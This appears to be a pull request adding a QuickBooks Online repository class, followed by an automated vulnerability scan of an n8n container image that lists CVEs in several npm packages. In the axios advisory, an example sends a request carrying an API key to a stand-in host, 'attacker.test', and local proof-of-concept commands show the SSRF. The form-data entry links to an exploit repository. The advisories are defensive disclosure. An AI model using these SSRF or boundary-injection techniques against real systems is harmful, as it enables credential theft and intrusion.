Add QBO service implementation and tests

[anatolyshipitz]

• Introduced the QBORepository class for handling QuickBooks Online interactions, including methods for retrieving paid invoices and calculating effective revenue.
• Added types for CustomerRevenueByRef and Invoice to define the data structure.
• Created comprehensive unit tests for QBORepository and related types to ensure functionality and error handling.
• Implemented tests for the QBO service exports to validate the structure and instantiation of key classes.

These changes enhance the integration with QuickBooks Online, providing a robust foundation for financial data management and reporting.

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[github-actions]

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest

digest	sha256:e952149b2246785b2b956cda2bc4e02bbfa30db0b008eeb9820d271552a4f9c6
vulnerabilities
platform	linux/amd64
size	243 MB
packages	1628

📦 Base Image node:20-alpine

also known as	20-alpine3.21 20.19-alpine 20.19-alpine3.21 20.19.0-alpine 20.19.0-alpine3.21 iron-alpine iron-alpine3.21
digest	sha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilities

stdlib 1.24.0 (golang) pkg:golang/[email protected] Affected range >=1.24.0-0 <1.24.2 Fixed version 1.24.2 EPSS Score 0.023% EPSS Percentile 4th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range >=1.24.0-0 <1.24.4 Fixed version 1.24.4 EPSS Score 0.012% EPSS Percentile 1st percentile Description Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

samlify 2.9.0 (npm) pkg:npm/[email protected] Improper Verification of Cryptographic Signature Affected range <2.10.0 Fixed version 2.10.0 CVSS Score 9.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.026% EPSS Percentile 6th percentile Description A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user. An attacker would need a signed XML document by the identity provider.

form-data 4.0.0 (npm) pkg:npm/[email protected] Use of Insufficiently Random Values Affected range >=4.0.0 <4.0.4 Fixed version 4.0.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.076% EPSS Percentile 23rd percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

form-data 2.5.3 (npm) pkg:npm/[email protected] Use of Insufficiently Random Values Affected range <2.5.4 Fixed version 2.5.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.076% EPSS Percentile 23rd percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

axios 1.7.4 (npm) pkg:npm/[email protected] Server-Side Request Forgery (SSRF) Affected range >=1.0.0 <1.8.2 Fixed version 1.8.2 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.024% EPSS Percentile 5th percentile Description Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. Details Consider the following code snippet: import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers. It is recommended that: When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL. PoC Follow the steps below to reproduce the issue: Set up two simple HTTP servers: mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & Create a script (e.g., main.js): import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); Run the script: $ node main.js this is server2 Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/. Impact Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

tar-fs 2.1.2 (npm) pkg:npm/[email protected] Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=2.0.0 <2.1.3 Fixed version 2.1.3 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.112% EPSS Percentile 30th percentile Description Impact v3.0.8, v2.1.2, v1.16.4 and below Patches Has been patched in 3.0.9, 2.1.3, and 1.16.5 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

pdfjs-dist 2.16.105 (npm) pkg:npm/[email protected] Improper Check for Unusual or Exceptional Conditions Affected range <=4.1.392 Fixed version 4.2.67 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 31.580% EPSS Percentile 97th percentile Description Impact If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain. Patches The patch removes the use of eval: mozilla/pdf.js#18015 Workarounds Set the option isEvalSupported to false. References https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

cross-spawn 7.0.3 (npm) pkg:npm/[email protected] Inefficient Regular Expression Complexity Affected range >=7.0.0 <7.0.5 Fixed version 7.0.5 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P EPSS Score 0.130% EPSS Percentile 33rd percentile Description Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

semver 5.3.0 (npm) pkg:npm/[email protected] Inefficient Regular Expression Complexity Affected range <5.7.2 Fixed version 5.7.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.418% EPSS Percentile 61st percentile Description Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

multer 1.4.5-lts.2 (npm) pkg:npm/[email protected] Missing Release of Memory after Effective Lifetime Affected range <2.0.0 Fixed version 2.0.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.018% EPSS Percentile 3rd percentile Description Impact Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance. This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted. Patches Users should upgrade to 2.0.0 Workarounds None References fix: MEMORY LEAK expressjs/multer#1120 expressjs/multer@2c8505f